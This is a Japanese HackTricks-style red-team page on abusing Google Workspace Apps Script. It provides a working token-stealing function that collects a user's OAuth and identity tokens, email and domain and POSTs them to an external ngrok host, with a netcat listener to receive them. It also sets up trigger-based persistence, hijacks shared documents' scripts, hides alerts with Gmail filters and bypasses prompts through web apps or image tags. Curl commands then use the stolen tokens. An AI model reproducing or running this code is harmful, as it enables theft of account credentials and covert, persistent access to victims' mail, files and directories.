GWS - App Scripts

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

App Scripts

App Scriptsは、エディター権限を持つユーザーが関連付けられたドキュメントにアクセスし、OAuthプロンプトを受け入れた後にトリガーされるコードです。 所有者がApp Scriptの実行を定期的に設定することもできます(永続性)。

App Scriptの作成

App Scriptを作成する方法はいくつかありますが、最も一般的な方法は**Googleドキュメント(任意のタイプ)**から作成することと、スタンドアロンプロジェクトとして作成することです。

Googleドキュメント、スプレッドシート、またはスライドからコンテナバウンドプロジェクトを作成する
  1. ドキュメント、スプレッドシート、またはスライドを開きます。

  2. 拡張機能 > Google Apps Scriptをクリックします。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けて、Renameをクリックします。

スタンドアロンプロジェクトを作成する

Apps Scriptからスタンドアロンプロジェクトを作成するには:

  1. script.google.comに移動します。

  2. New Projectを追加します。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けて、Renameをクリックします。

Googleドライブからスタンドアロンプロジェクトを作成する
  1. Google Driveを開きます。

  2. New > More > Google Apps Scriptをクリックします。

Google Formsからコンテナバウンドプロジェクトを作成する
  1. Google Formsでフォームを開きます。

  2. より多くのオプションをクリックして、Script editorをクリックします。

  3. スクリプトエディタで、Untitled projectをクリックします。

  4. プロジェクトに名前を付けて、Renameをクリックします。

claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する

claspは、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイできるコマンドラインツールです。

詳細については、Command Line Interface using clasp guideを参照してください。

App Scriptシナリオ

App Scriptを使用してGoogleシートを作成する

App Scriptを作成するには、Googleシートを作成し、**Extensions > App Scripts**に移動します。これにより、シートにリンクされた新しいApp Scriptが開きます。

トークンの漏洩

OAuthトークンへのアクセスを提供するには、Services +をクリックしてスコープを追加する必要があります:

  • AdminDirectory: ディレクトリのユーザーとグループにアクセス(ユーザーに十分な権限がある場合)

  • Gmail: Gmailデータにアクセスするため

  • Drive: ドライブデータにアクセスするため

  • Google Sheets API: トリガーと連携するため

必要なスコープを自分で変更するには、プロジェクト設定に移動し、Show "appsscript.json" manifest file in editorを有効にします。

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

リクエストをキャプチャするには、次のコマンドを実行するだけです:

ngrok tcp 4444
nc -lv 4444 #macOS

Appスクリプトを実行するためにリクエストされる権限:

外部リクエストが行われると、OAuthプロンプトは外部エンドポイントにアクセスする権限を求めることもあります。

トリガーの作成

Appを読み込んだら、⏰ トリガーをクリックしてトリガーを作成します。関数としては**getTokenを選択し、デプロイメントでHeadを選択し、イベントソースでFrom spreadsheetを選択し、イベントタイプでOn openまたはOn edit**(必要に応じて)を選択して保存します。

何かをデバッグしたい場合は、Appスクリプトの実行タブで実行を確認できます。

共有

Appスクリプトトリガーするために、被害者はエディターアクセスで接続する必要があります。

Appスクリプトを実行するために使用されるトークンは、トリガーの作成者のものになります。たとえ他のユーザーがエディターとしてファイルを開いても、そのトリガーの作成者のトークンが使用されます。

共有されたドキュメントの悪用

誰かがAppスクリプトを使用してトリガーを作成し、AppスクリプトのHeadを使用したドキュメントを共有した場合、Appスクリプトコードを変更して(たとえばトークンを盗む機能を追加して)アクセスし、共有者のユーザー権限でAppスクリプトが実行される可能性があります(トリガーの作成時に与えられたアクセススコープが共有者のOAuthトークンに含まれることに注意してください)。

スクリプトの作成者には、スクリプトが変更されたことを示す通知が送信されます(アラートを防ぐためにGmail権限を使用してフィルターを生成することはどうでしょうか?)

攻撃者がAppスクリプトのスコープを変更した場合、更新はドキュメントに適用されません。したがって、攻撃者は、作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者の作成者トークンを盗むことはできません。

共有ではなくコピー

ドキュメントを共有するリンクを作成すると、次のようなリンクが作成されます:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit 末尾の**"/edit""/copy"**に変更すると、Googleにアクセスする代わりに、ドキュメントのコピーを生成するかどうかを尋ねられます:

ユーザーがコピーしてアクセスすると、ドキュメントの内容とAppスクリプトがコピーされますが、トリガーはコピーされませんので、何も実行されません

Webアプリケーションとして共有

AppスクリプトをWebアプリケーションとして共有することも可能です(AppスクリプトのエディターでWebアプリケーションとしてデプロイ)。ただし、次のようなアラートが表示されます:

必要な権限を求める典型的なOAuthプロンプトに続きます。

テスト

収集したトークンを使用してメールをリストアップするには、次のようにテストできます:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

ユーザーのカレンダーをリストします:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

アプリスクリプトを永続化手段として使用する

永続性の1つのオプションは、ドキュメントを作成し、getTokenのトリガーを追加し、そのドキュメントを攻撃者と共有することです。これにより、攻撃者がファイルを開くたびに、被害者のトークンが外部に送信されます。

また、App Scriptを作成し、X時間ごとにトリガーを設定して実行することも可能です(例:毎分、毎時、毎日...)。資格情報を侵害した攻撃者や被害者のセッションを取得した攻撃者は、App Scriptの時間トリガーを設定し、毎日非常に特権のあるOAuthトークンを漏洩させることができます:

単にApp Scriptを作成し、トリガーに移動し、トリガーを追加し、イベントソースとしてTime-drivenを選択し、最適なオプションを選択します:

これにより、このことについてのセキュリティアラートメールとモバイルへのプッシュメッセージが作成されます。

共有ドキュメント未確認プロンプトバイパス

さらに、誰かが編集アクセスであなたと共有したドキュメントには、ドキュメント内にApp Scriptを生成し、ドキュメントのOWNER(作成者)がApp Scriptの所有者になります。

これは、ドキュメントの作成者が、その中に作成されたApp Scriptの作成者として表示されることを意味します。

これはまた、App Scriptがドキュメントの作成者のWorkspace環境に信頼されることを意味します。

これはまた、App Scriptがすでに存在し、人々がアクセスを許可している場合、ドキュメントにEditor権限を持つ誰でもそれを変更してアクセスを悪用することができます。 これを悪用するには、人々にApp Scriptをトリガーさせる必要があります。また、スクリプトをWebアプリとして公開するという便利なトリックもあります。アクセスを許可している人々がWebページにアクセスすると、App Scriptがトリガーされます(これは<img>タグを使用しても機能します)。

最終更新